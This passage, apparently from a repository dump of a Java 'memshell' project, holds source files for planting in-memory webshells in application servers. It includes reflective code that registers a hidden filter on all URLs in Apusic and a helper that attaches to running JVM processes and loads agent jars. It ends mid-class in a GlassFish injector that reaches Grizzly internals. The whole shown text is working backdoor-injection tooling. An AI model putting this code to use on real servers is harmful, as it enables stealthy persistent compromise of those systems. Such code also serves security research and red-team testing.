84 | Class c3 = Class.forName("com.apusic.web.container.FilterMapper$Mapping");
85 | Constructor constructor1 = c3.getDeclaredConstructors()[0];
86 | constructor1.setAccessible(true);
87 | Object o = constructor1.newInstance(filterName, 2);
88 |
89 | Method m = c3.getDeclaredMethod("setUrlPattern", String.class);
90 | m.setAccessible(true);
91 | m.invoke(o, "/*");
92 |
93 | mappings[0] = o;
94 |
95 | resp.getWriter().println("apusic filter added");
96 |
97 | } catch (Exception e) {
98 | e.printStackTrace();
99 | }
100 |
101 | }
102 | }
--------------------------------------------------------------------------------
/memshell-loader/src/main/java/org/su18/memshell/loader/VirtualMachineProxy.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.loader;
2 |
3 | import java.io.File;
4 | import java.net.URL;
5 | import java.net.URLClassLoader;
6 | import java.util.HashMap;
7 | import java.util.List;
8 | import java.util.Map;
9 |
10 | /**
11 | * 创建 VirtualMachine 代理类,加载JVM tools.jar
12 | *
13 | * @author su18
14 | */
15 | public class VirtualMachineProxy {
16 |
17 | private Class> virtualMachineClass;
18 |
19 | public VirtualMachineProxy() {
20 | String virtualMachineName = "com.sun.tools.attach.VirtualMachine";
21 |
22 | try {
23 | virtualMachineClass = Class.forName(virtualMachineName);
24 | } catch (ClassNotFoundException e) {
25 | File toolsJar = VirtualMachineProxy.getJDKToolsJar();
26 |
27 | try {
28 | URL[] urls = new URL[]{toolsJar.toURI().toURL()};
29 | virtualMachineClass = new URLClassLoader(urls).loadClass(virtualMachineName);
30 | } catch (Exception ex) {
31 | System.out.println("Load tools.jar Exception: " + e);
32 | ex.printStackTrace();
33 | }
34 | }
35 | }
36 |
37 | /**
38 | * 获取JDK安装目录
39 | *
40 | * @return 获取lib/tools.jar文件路径
41 | */
42 | public static File getJDKToolsJar() {
43 | // 读取环境变量中的JAVA_HOME
44 | String javaHome = System.getenv().get("JAVA_HOME");
45 | File jarFile = null;
46 |
47 | if (javaHome != null) {
48 | jarFile = new File(javaHome);
49 | } else {
50 | jarFile = new File(System.getProperty("java.home"));
51 | }
52 |
53 | File toolsJar = new File(jarFile + "/lib/", "tools.jar");
54 |
55 | // 可能获取到的JAVA_HOME是jre,跳转到jre的父级查找是否安装了JDK
56 | if (!toolsJar.exists()) {
57 | toolsJar = new File(toolsJar.getParentFile().getParentFile() + "/lib/", "tools.jar");
58 | }
59 |
60 | if (!toolsJar.exists()) {
61 | toolsJar = new File(toolsJar.getParentFile().getParentFile().getParentFile() + "/lib/", "tools.jar");
62 | }
63 |
64 | if (toolsJar.exists()) {
65 | return toolsJar;
66 | } else {
67 | toolsJar = new File(jarFile + "/Classes/", "classes.jar");
68 |
69 | if (toolsJar.exists()) {
70 | return toolsJar;
71 | }
72 | }
73 |
74 | throw new RuntimeException("Can Not Load JVM tools.jar,Please Confirm Your \"JAVA_HOME\" Config");
75 | }
76 |
77 | /**
78 | * 获取本机所有的JVM进程ID
79 | *
80 | * @return 进程JVM 进程ID Map
81 | */
82 | public Map listJvmPid() throws Exception {
83 | Map processMap = new HashMap();
84 | List> list = (List>) virtualMachineClass.getDeclaredMethod("list").invoke(null);
85 |
86 | for (Object p : list) {
87 | Class> descriptorClass = p.getClass();
88 | String processId = (String) descriptorClass.getMethod("id").invoke(p);
89 | String displayName = (String) descriptorClass.getMethod("displayName").invoke(p);
90 |
91 | processMap.put(processId, displayName);
92 | }
93 |
94 | return processMap;
95 | }
96 |
97 | /**
98 | * 附加到JVM 进程
99 | *
100 | * @param pid 进程ID
101 | * @return VirtualMachine
102 | * @throws Exception 反射调用异常
103 | */
104 | public Object attach(String pid) throws Exception {
105 | return virtualMachineClass.getDeclaredMethod("attach", String.class).invoke(null, pid);
106 | }
107 |
108 | public void detach(Object vm) throws Exception {
109 | vm.getClass().getDeclaredMethod("detach").invoke(vm);
110 | }
111 |
112 | /**
113 | * 加载Agent文件到JVM
114 | *
115 | * @param vm VirtualMachine
116 | * @param agentFile Agent jar文件
117 | * @param args Agent参数
118 | * @throws Exception 反射调用异常
119 | */
120 | public void loadAgent(Object vm, String agentFile, String args) throws Exception {
121 | virtualMachineClass.getDeclaredMethod("loadAgent", String.class, String.class).invoke(vm, agentFile, args);
122 | }
123 |
124 | }
125 |
--------------------------------------------------------------------------------
/memshell-test/memshell-test-glassfish/src/org/su18/memshell/test/glassfish/AddGlassFishServiceList.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.test.glassfish;
2 |
3 |
4 | import com.sun.enterprise.web.pwc.connector.coyote.PwcCoyoteRequest;
5 | import org.apache.catalina.connector.InputBuffer;
6 | import org.apache.catalina.connector.RequestFacade;
7 | import org.apache.catalina.core.RequestFacadeHelper;
8 | import org.glassfish.grizzly.Context;
9 | import org.glassfish.grizzly.EmptyCompletionHandler;
10 | import org.glassfish.grizzly.filterchain.Filter;
11 | import org.glassfish.grizzly.filterchain.FilterChainEvent;
12 | import org.glassfish.grizzly.filterchain.ListFacadeFilterChain;
13 | import org.glassfish.grizzly.filterchain.TransportFilter;
14 | import org.glassfish.grizzly.http.server.AfterServiceListener;
15 | import org.glassfish.grizzly.http.server.Request;
16 |
17 | import javax.servlet.ServletException;
18 | import javax.servlet.http.HttpServlet;
19 | import javax.servlet.http.HttpServletRequest;
20 | import javax.servlet.http.HttpServletResponse;
21 | import java.io.IOException;
22 | import java.lang.reflect.Field;
23 |
24 | import static org.su18.memshell.test.glassfish.DynamicUtils.GRIZZLY_CLASS_STRING;
25 |
26 | /**
27 | * 使用 Grizzly 的 Filter 写入内存马
28 | * 在处理 Http 的 HttpServerFilter 中,afterServicesList 用来最后进行处理
29 | * 使用 request 添加 afterServicesList,并在其中获取 context 来添加 Filter
30 | * 调用:
31 | * req->reqFacHelper->request->inputBuffer->grizzlyRequest->afterServicesList
32 | * ctx->internalContext->processor
33 | * 测试版本:GlassFish 5.0.0
34 | *
35 | * @author su18
36 | */
37 | public class AddGlassFishServiceList extends HttpServlet {
38 |
39 | @Override
40 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
41 |
42 | try {
43 | Field f = RequestFacade.class.getDeclaredField("reqFacHelper");
44 | f.setAccessible(true);
45 | RequestFacadeHelper helper = (RequestFacadeHelper) f.get(req);
46 |
47 | Field f2 = RequestFacadeHelper.class.getDeclaredField("request");
48 | f2.setAccessible(true);
49 | PwcCoyoteRequest request = (PwcCoyoteRequest) f2.get(helper);
50 |
51 | Field f3 = PwcCoyoteRequest.class.getSuperclass().getDeclaredField("inputBuffer");
52 | f3.setAccessible(true);
53 | InputBuffer buffer = (InputBuffer) f3.get(request);
54 |
55 | Field f4 = InputBuffer.class.getDeclaredField("grizzlyRequest");
56 | f4.setAccessible(true);
57 | Request request1 = (Request) f4.get(buffer);
58 | request1.addAfterServiceListener(new FlushResponseHandler());
59 |
60 | } catch (Exception e) {
61 | e.printStackTrace();
62 | }
63 |
64 | }
65 |
66 |
67 | public final class FlushResponseHandler extends EmptyCompletionHandler